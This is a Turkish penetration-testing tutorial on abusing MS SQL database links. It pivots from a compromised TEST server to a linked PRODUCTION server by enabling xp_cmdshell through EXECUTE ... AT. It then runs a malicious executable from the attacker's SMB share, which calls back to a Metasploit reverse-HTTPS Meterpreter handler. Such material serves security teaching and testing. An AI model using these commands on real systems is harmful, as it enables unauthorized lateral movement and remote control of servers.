MS SQL Veritabanları Arasındaki Linkleri Kullanarak Link Kurulan Veritabanı Sunucusuna Meterpreter Bağlantısı Elde Edilmesi

Sızma testleri sırasında, erişim elde edilen bir MS SQL veritabanından başka veritabanlarına gerçekleştirilen bağlantılar (database links) araştırılır. Bu yazıda, TEST veritabanına erişim elde edildikten sonra, bu veritabanındaki linkler kullanılarak PRODUCTION veritabanına Meterpreter bağlantısı elde edilecektir.

Mevcut ortamdaki Kali bilgisayarın IP adresi 10.20.30.50, standart bir kullanıcı hakları ile erişim elde edilen MS SQL veritabanının kurulu olduğu Windows Server 2008 R2 sunucunun IP adresi 10.20.30.194 ve bu veritabanından link kurulabilen PRODUCTION veritabanının IP adresi 10.20.30.72 olduğunu varsayalım.

Veritabanları arasındaki linkleri kullanarak PRODUCTION veritabanındaki Meterpreter komut satırı elde etmek için ve saldırgana ait Kali bilgisayara ters HTTPS Meterpreter bağlantısı kuracak olan zararlı bir uygulama dosyasının oluşturulduğunu varsayalım. Bu uygulama dosyasının, TEST veritabanında oluşturulan link nesnesi üzerinden bir komut aracılığıyla çalıştırılması sağlanacaktır.

Kali sunucuda SAMBA sunucu uygulamasının yüklü olduğunu varsayalım. Kali bilgisayarda, “GizliPaylasim$” adlı gizli bir paylaşım dizinine herkes (everyone) için okuma ve yazma izni verilmiş olsun.

Oluşturulan uygulamanın gerçekleştireceği ters HTTPS Meterpreter bağlantısını dinleyecek olan MSF multi-handler istismar modülü kullanılabilir. Bu amaçla, modül seçilir ve seçenekleri incelenir.

search multi/handler
use exploit/multi/handler
show options

Modüle Payload değeri, dinleyici (listener) bilgileri verilerek modül seçenekleri ayarlanabilir.

set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.20.30.50
set LPORT 443
set ExitOnSession false
show options

Seçenekler ayarlandırıldıktan sonra modül çalıştırılabilir ve gelecek Meterpreter bağlantısı beklenir.

exploit -j

TEST veritabanındaki sistem sunucuları listelendiğinde 10.20.30.72 IP adresli PRODUCTION veritabanına bir link oluşturulduğu görülmektedir. Bu link kullanılarak, linki oluşturan hesabın yetkileri dahilinde, PRODUCTION veritabanında komut çalıştırılabilir. Bu kullanıcı hakları ile veritabanındaki bir tablodan veri çekilebileceği gibi, eğer gerekli yetkiler mevcut ise işletim sisteminde komut da çalıştırılabilir. Örnek olarak xp_cmdshell etkinleştirilerek Kali paylaşımındaki zararlı dosya çalıştırılabilir.

Select name, data_source From sys.servers Where is_linked = 1

EXECUTE (‘sp_configure ”show advanced options”, 1; RECONFIGURE WITH OVERRIDE;’) AT UretimVeritabaninaYapilanLink;
EXECUTE (‘sp_configure ”xp_cmdshell”, 1; RECONFIGURE WITH OVERRIDE;’) AT UretimVeritabaninaYapilanLink;

EXECUTE (‘master..xp_cmdshell ”start \\10.20.30.50\GizliPaylasim$\Zararli.exe”’) AT UretimVeritabaninaYapilanLink;

Böylece, MSF multi-handler istismar modülü üzerinde gelen ters HTTPS bağlantı talebi yakalanmıştır.

sessions
sessions -i 1
getuid